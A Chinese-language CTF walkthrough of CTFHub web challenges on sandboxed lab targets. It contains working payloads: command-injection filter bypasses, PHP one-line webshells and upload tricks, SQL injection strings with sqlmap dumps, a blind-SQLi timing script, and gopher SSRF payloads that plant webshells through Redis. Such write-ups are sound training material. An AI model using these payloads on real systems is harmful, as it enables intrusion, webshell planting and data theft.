CTFHUB-WEB

2023-10-27

----------HTTP协议----------

题目:请求方式

思路一
在这里插入图片描述
我们知道http请求方式中没有CTFB方式,就想到CTFHUB
使用BP抓包,将原来的数据包请求方式GET改成CTFHUB在这里插入图片描述
点击Forward,放包。得到flag.
积累

HTTP协议的八种请求方式

1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

思路二

可以用cmd自带命令curl查看http的返回消息
在这里插入图片描述
相当于返回服务器返回所有信息,包含html源码,其中包含flag
在这里插入图片描述
解析
curl -v(获取整个通信过程)
curl -X url(使用特定方法请求网页文本)
因为HTTP Method 是可以自定义的,并且区分大小写,直接用 CTFHUB 方法请求 index.php 即可拿到 flag。

curl使用方法


http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

题目:302跳转

思路一
在这里插入图片描述
点击Give me Flag
在这里插入图片描述
查看源码 发现Give me Flag页面重定向到index.php
在这里插入图片描述
可以通过curl直接访问index.php得到flag

思路二
抓包发到Repeater模块

301和302


302
302表示临时性重定向,访问一个url,被重定向到另一个url.
搜索引擎会抓取新的内容而保留旧的地址,因为服务器返回302,所以,搜索搜索引擎认为新的网址是暂时的。
302常用于页面跳转,比如未登陆的用户访问用户中心,则重定向到登录页面,访问404页面会重新定向到首页
301
适合永久重定向,比较常用的场景是使用域名跳转
搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址
比如,我们访问 http://www.baidu.com 会跳转到 https://www.baidu.com,发送请求之后,就会返回301状态码,然后返回一个location,提示新的地址,浏览器就会拿着这个新的地址去访问。
注意: 301请求是可以缓存的, 即通过看status code,可以发现后面写着from cache。或者你把你的网页的名称从php修改为了html,这个过程中,也会发生永久重定向

题目:Cookie


Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息

在这里插入图片描述
发送到repeater将admin改为1
在这里插入图片描述
再点GO,得到flag

题目:基础认证


在这里插入图片描述
先任意admin/admin输入
在这里插入图片描述
在这里插入图片描述
Basic表示基础认证,大概率为Base64编码

在这里插入图片描述
把报文发送到Intruder,点击add,将basic后面的base64部分加上$
在这里插入图片描述
加载字典
添加前缀admin 和添加base64编码
在这里插入图片描述
在这里插入图片描述
取消url编码勾选,不然=会变成%3d
在这里插入图片描述
爆破之后会发现长度不一样的,点击查看response,拿到flag

字典真的要下好一点的

题目:响应包源代码

进入界面是一个贪吃蛇
先玩一把感受一下
之后查看源码找到flag
在这里插入图片描述
当然抓包也可以
或者用curl -v -X GET来得到

反思
没有基础
知识太少
希望可以一点点的坚持积累去进步
加油

----------RCE注入----------


----------RCE注入----------

在这里插入图片描述
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
输入 |ls
在这里插入图片描述
?ip

过滤cat

在这里插入图片描述
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的显示文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

先|ls查看目录

发现存在flag_313911065126325.php
在这里插入图片描述
?ip

过滤空格

在这里插入图片描述
空格过滤掉,我们得想办法用其它符号代替空格即可

使用IFS$9%09<><>{,}%20、${IFS}、${IFS}来代替空格

先 |ls查看目录
在这里插入图片描述
?ip=|cat${IFS}flag_58872678825836.php
在这里插入图片描述

过滤目录分隔符

在这里插入图片描述
这里过滤掉 “” 和 “/”
我们可以用;ls查看目录
在这里插入图片描述
进入flag_is_here 再次查看目录
?ip

过滤运算符

在这里插入图片描述
这里过滤掉了 | & 运算符 直接用 ; 代替即可

在这里插入图片描述
?ip=;cat flag_37062833024962.php

在这里插入图片描述

综合过滤练习

方法一
在这里插入图片描述
代码审计,过滤内容如下
| & ; 空格 / cat flag ctfhub

由于|&;都被过滤了,因此只能用%0a 作为分隔符
需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码
?ip=%0als
在这里插入图片描述
用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤
构造?ip=%0acd%09fl’‘ag_is_here%0als
在这里插入图片描述
?ip=%0acd%09fl’‘ag_is_here%0aca’‘t%09fl’'ag_166362287218721.php
在这里插入图片描述
方法二
flag可以用${IFS}fl$*ag_id_here这样替代。

%0als${IFS}fl$*ag_is_here
%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_166362287218721.php

eval执行

方法一
在这里插入图片描述
代码显示将命令赋值给cmd然后执行
?cmd=system(“ls …/…/…/”);
在这里插入图片描述
?cmd=system(“cat …/…/…/flag_30631”);
在这里插入图片描述

方法二:
可以执行?cmd=system(‘ls’);查看当前目录。
因为没有对输入进行过滤,直接连接菜刀。
在根目录发现flag文件,获得flag

文件包含

在这里插入图片描述
点击shell,出现如下界面

在这里插入图片描述
构造payload,往ctfhub里传参。先查看当前目录下的文件ls
这里要用单引号

在这里插入图片描述
发现没有flag相关文件,查看上一级文件ls /
在这里插入图片描述
发现flag信息,打开flag文件,获得flag
在这里插入图片描述

当然也可以连接一剑,密码是ctfhub

php://input

在这里插入图片描述
代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php

远程包含

在这里插入图片描述
查看PHPinfo文件,发现可以使用php://input
构造payload,使用?file=php://input
POST里传参:<?php system('ls /')?>
发现存放flag的文件
然后再打开文件

<?php system('cat /flag')?>

当然也可以参照pikachu远程包含的做法

读取源代码

在这里插入图片描述
发现不管用
先了解一个知识
在这里插入图片描述
使用filter将源码通过base64回显。
Payload:

http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag

在这里插入图片描述

在这里插入图片描述

----------文件上传----------

无验证

先搞一个一句话木马
因为这里是无验证,所以直接上传php
在这里插入图片描述
连接蚁剑
在这里插入图片描述
在这里插入图片描述

前端验证

在这里插入图片描述
只能上传图片
所以上传图片抓包
在这里插入图片描述
把jpg改为php
在这里插入图片描述
再连接就好

文件头检查

法一:
上传一句话木马jpg格式
在这里插入图片描述
然后我上传一张图片png
在这里插入图片描述
在这里插入图片描述
把除了文件头其他的图片内容全删了,然后添加一句话木马,然后改.png为.php在这里插入图片描述
在这里插入图片描述
注意那个红色的PNG不能删了
不然文件头检查就过不了
连接就好了

法二:
开始,上传一个.php后缀的文件,提交,alert()弹出一个窗口,只允许jpg,png,gif后缀提交,然后burpsuite抓包,把Content

MIME验证

方法一:
上传php
在这里插入图片描述
改成jpg
在这里插入图片描述
抓包修改
在这里插入图片描述
连接

方法二:
也可以上传.PHP文件然后修改content-cype
在这里插入图片描述
改成image/jpeg,然后发送,在使用蚁剑连接

00截断

上传jpg
在这里插入图片描述
没有出现上传文件的路径地址。
url地址栏出现了?road=/var/www/htm/ 没有返回文件的路径地址,多半是有临时文件名的存在,这就需要00截断,00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];                //首先取到上传文件的扩展名$ext
    $whitelist = array("jpg", "png", "gif");   //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;   //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}

move_uploaded_file
这个函数就是把上传文件放到d e s 的 路 径 上 并 且 改 了 文 件 名 , 而 des的路径上并且改了文件名,而des中的随机数,当前时间等无法确定,那么,在$_GET[‘road’]后面进行00截断payload:POST /?road=/var/www/html/upload/999.php%00 HTTP/1.1重新上传,这样,上传文件就被保存到了upload/999.php下。
999.jpg不要改 不然会显示文件类型不对
在这里插入图片描述
直接去连接就可以了

双写后缀

我上传一个1.php%00.jpg
在这里插入图片描述
发现把php给搞没了
上传1.php.php%00.jpg
在这里插入图片描述
php 双写后缀后 pphph
于是我们用1.pphphp来绕过
在这里插入图片描述
然后去连接就行了
下面我们看一下源码
在这里插入图片描述
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
这道题会对上传文件的后缀进行检测,如果是array数组中的后缀,则会替换为空。

htaccess

htaccess文件是什么
htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许或组织特定的用户或者,目录的访问,禁止目录列表,配置默认文档等功能。

法一
根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
在这里插入图片描述
意思是将文件名中带有 3 的文件当作php文件解析。
在这里插入图片描述
然后上传一句话,文件名为 3.jpg ,之后会上传成功。
http://challenge-ca10a6f74c692568.sandbox.ctfhub.com:10080/upload/3.jpg
我的蚁剑搞这个的时候出现了问题,就到这里吧

法二:
据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .jpg
在这里插入图片描述
上传 htacces文件 (将.jpg后缀的文件当作php文件解析)
在这里插入图片描述
去连接就行了

----------SQL注入----------

关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

整数型注入

1.输个1,回显有两列。
在这里插入图片描述
2.判断列数
1 order by 1,2,3
在这里插入图片描述

1 order by 1,2
在这里插入图片描述

3.报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,database()
在这里插入图片描述
4.报所有的数据库
-1 union select 3,group_concat(schema_name) from information_schema.schemata
在这里插入图片描述
5.根据报出的数据库,报表名字
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
在这里插入图片描述
6…知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
在这里插入图片描述
7.当报出字段,可以直接查询数据。
-1 union select 3,group_concat(flag) from sqli.flag
在这里插入图片描述

字符型注入

1.输个1
在这里插入图片描述
发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
id=1’ and ‘1’=‘1 正常回显
id=1’ and ‘1’=‘2 返回错误
我们可以用#闭注释掉单引号,输入1’ and 1=1#,正常回显
2.判断列数
1’ order by 3#
在这里插入图片描述
1’ order by 2#
在这里插入图片描述
3.报当前的数据库
-1’ union select 3,database()#
在这里插入图片描述
4.报当前所有的数据库
-1’ union select 3,group_concat(schema_name) from information_schema.schemata#
在这里插入图片描述
5.报表名
-1’ union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”#
在这里插入图片描述
6.字段名
-1’ union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”#
在这里插入图片描述
7.查询数据
-1’ union select 3, group_concat(flag) from sqli.flag#
在这里插入图片描述

报错注入

百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。

updatexml()语法:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。

使用updatexml报错注入固定格式:

payload:?id=a'and(updatexml("anything",concat('~',(select语句())'~'),"anything"))

concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据

输个1
在这里插入图片描述

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在这里插入图片描述
查数据库

1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

在这里插入图片描述

查表

1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1));

在这里插入图片描述
字段
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“flag”),0x7e),1));
在这里插入图片描述
直接查数据
1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1));
就出来了

MySQL结构

1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
在这里插入图片描述
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
在这里插入图片描述
-1 union select 1,2
加粗样式
回显点位为1,2
3.查数据库名
-1 union select database(),2
在这里插入图片描述
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=“sqli”
在这里插入图片描述
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=“gunqeizaat”
在这里插入图片描述

6.爆值

过滤空格

绕过空格过滤的方式: /**/、()、%0a。
我们这里就用/**/

1/**/order/**/by/**/2

在这里插入图片描述
判断回显位

1/**/union/**/select/**/1,2

在这里插入图片描述
查数据库:

-1/**/union/**/select/**/database(),2

在这里插入图片描述
查表:

Cookie注入

在这里插入图片描述
burpsuite抓包,可以看到Cookie里面有id参数
在这里插入图片描述

1.判断注入类型
id=1
在这里插入图片描述

数字型
2.判断字段数
当id=1 order by 2 时回显正常,当id=1 order by 3时无回显,所以字段数为2
3.爆数据库名
id=-1 union select 1,database()
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021020320465779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70
4.爆表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=“sqli”
在这里插入图片描述
5.爆字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“dnsehhpdvg”
在这里插入图片描述
6.爆值
id=-1 union select 1,group_concat(cdciinqukz) from dnsehhpdvg
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KforYPxU-1612423099536)(https://img-blog.csdni首先检测是否有cookie注入mg.cn/2021020320531811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)]
sqlmap
在sqlmap中使用cookie注入,level >=2才行

首先检测是否有cookie注入
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2
存在Cookie注入
在这里插入图片描述
1.查库
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 --dbs
在这里插入图片描述
2.查表
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” -D sqli --tables
在这里插入图片描述
3.查字段
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta --columns
在这里插入图片描述
4.爆值
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
在这里插入图片描述

UA注入

在这里插入图片描述
在这里插入图片描述
语句和上面一样
sqlmap
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
sqlmap.py -u “http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 --dbs
在这里插入图片描述
2.爆表
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli --tables
在这里插入图片描述
3.爆字段
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
在这里插入图片描述

Refer注入

在这里插入图片描述
补充Referer头
在这里插入图片描述
后面和上面一样

sqlmap
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3
在这里插入图片描述
1.爆数据库
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 --dbs
在这里插入图片描述
2.爆表
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli --tables
在这里插入图片描述
3.爆字段
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi --columns
在这里插入图片描述
4.爆值
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump
在这里插入图片描述

布尔盲注

盲注的一般步骤:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
确定闭合方式:1

获取数据库名:sqlmap.py -u 环境链接 –dbs

时间盲注

和上面一题类似

脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
import time

session=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""

for k in range(1,10):
	for i in range(1,10):
		print(i)
		for j in range(31,128):
			j = (128+31) -j
			str_ascii=chr(j)
			#数据库名
			payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
			#表名
			#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
			#字段名
			#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
			start_time=time.time()
			str_get = session.get(url=url + payolad)
			end_time = time.time()
			t = end_time - start_time
			if t > 1:
				if str_ascii == "+":
					sys.exit()
				else:
					name+=str_ascii
					break
		print(name)

#查询字段内容
for i in range(1,50):
	print(i)
	for j in range(31,128):
		j = (128+31) -j
		str_ascii=chr(j)
		payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
		start_time = time.time()
		str_get = session.get(url=url + payolad)
		end_time = time.time()
		t = end_time - start_time
		if t > 1:
			if str_ascii == "+":
				sys.exit()
			else:
				name += str_ascii
				break
	print(name)

----------SSRF----------

内网访问

在这里插入图片描述
?url

伪协议读取文件

在这里插入图片描述
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:

file:///
dict

端口扫描

在这里插入图片描述
dict协议可以用来探测开放的端口
构造payload dict://127.0.0.1:端口号
利用burpsuite进行爆破
在这里插入图片描述
在这里插入图片描述
然后访问就行

URL Bypass

了解:如果传入的URL为http://a@127.0.0.1:80@baidu.com,那么进入 safe_request_url后,parse_url 取到的host其实是baidu.com,而curl取到的是127.0.0.1:80,所以检测IP时是正常的一个网站域名而实际curl请求时却构造的127.0.0.1,以此实现SSRF攻击。

在这里插入图片描述

因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。

数字IP Bypass

在这里插入图片描述

进入环境,尝试访问?url=127.0.0.1/flag.php
在这里插入图片描述
因此尝试将ip地址转换为进制的方式进行绕过,127.0.0.1转换为16进制是0x7F000001,这样就可以成功得到flag

302跳转 Bypass

在这里插入图片描述

题目出现问题,等修改好了再说

DNS重绑定 Bypass

题目出了问题,等修改好了再说

POST请求

在这里插入图片描述
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
在这里插入图片描述
查看源码
在这里插入图片描述

查看302.php,发现了可以构造url用302跳转。
在这里插入图片描述
这题需要用gopher协议通过302.php的跳转去post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。
首先构造一个最基本的post请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36   #特别注意此处的长度,长度不对也是不行的

key=2ddf50f048c2728241fc9c1a6a2d0eac  #key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。

首先进行一次url编码,将换行%0A改成%0D%0A

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1de171b79f0bc7caabdd7ba6fee00c56

然后再进行2次URL编码,也就是说一共要进行三次URL编码,最后为:

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56

最后使用gopher协议请求即可

?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56

在这里插入图片描述

上传文件

提示:这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
使用file伪协议读取到源码?url=file:///var/www/html/flag.php
在这里插入图片描述
在这里插入图片描述
发现没有提交,所以要在前端添加提交
右键 edit as html 来写
在这里插入图片描述
上传一个非空文件,这里我们上传了一个php
在这里插入图片描述

url编码一次,把%0A换成%0D%0A,然后再url编码两次:

/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%252520328%25250D%25250ACache-Control%25253A%252520max-age%25253D0%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D----WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit%25252F537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome%25252F85.0.4183.102%252520Safari%25252F537.36%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252Cimage%25252Fapng%25252C*%25252F*%25253Bq%25253D0.8%25252Capplication%25252Fsigned-exchange%25253Bv%25253Db3%25253Bq%25253D0.9%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25252Cen-US%25253Bq%25253D0.8%25252Cen%25253Bq%25253D0.7%25250D%25250AConnection%25253A%252520close%25250D%25250A%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522XiaoMa.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252540eval(%252524_POST%25255B'feng'%25255D)%25253B%25253F%25253E%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs--%25250D%25250A

在这里插入图片描述

FastCGI协议

在这里插入图片描述

Redis协议

首先我们需要了解关于Redis的相关知识:
Redis 配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
在这里插入图片描述
这题不是用shell反弹,而是写文件,然后进行命令执行。因此redis命令如下:

flushall
set 1 '<?php eval($_GET["feng"]);?>'
config set dir /var/www/html
config set dbfilename feng.php
save

需要再经过一次url加密,这样才行。最终我的是这样:

/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

执行过之后,就写入了feng.php。这时候,如果你通过?url=127.0.0.1/feng.php进行命令执行,会有玄学问题。我不知道是不是我url的问题,反正我这里出现了玄学问题。
因此直接访问feng.php,然后就是命令执行:

http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("ls /");

在这里插入图片描述

http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("cat /flag_6fb66dcb5b32fff57ef6f5bf213f12e5");

在这里插入图片描述

----------信息泄露前半部分----------

目录遍历

在这里插入图片描述
在这里插入图片描述
点得去找就可以找到一个flag.txt

PHPINFO

点击进去找到flag
在这里插入图片描述

当然也可以ctrl+f查找
在这里插入图片描述

备份文件下载

网站源码
在这里插入图片描述
大概猜测到是要我们解压压缩包,通过和下面的网站源码备份文件名搭配寻找flag,前两个是linux里的命令,然后我使用的是zip
一个个去试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
bak文件
在这里插入图片描述
这句话里提到了index.php 而且题目也说了 bak,于是就想到了php的备份文件 后缀就是以bak结尾的,于是尝试一下去看看
在这里插入图片描述
在这里插入图片描述

vim缓存

vim会自动生成备份文件和临时文件,如果程序正常退出,临时文件会自动删除,如果意外退出就会保存,文件名为.filename.swp(第一次产生文件的后缀名为.swp;再次意外退出产生文件的后缀名为.swo;第三次产生的后缀名为.swn)
在这里插入图片描述

在地址栏加上**/.index.php.swp**(不知道为什么我这里要多加一点),将文件保存下来
在这里插入图片描述
将保存的文件用notepad++打开就可以得到flag了
在这里插入图片描述
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
在这里插入图片描述
下载到一个文件
在这里插入图片描述
在源码后面添加,得到flag
在这里插入图片描述

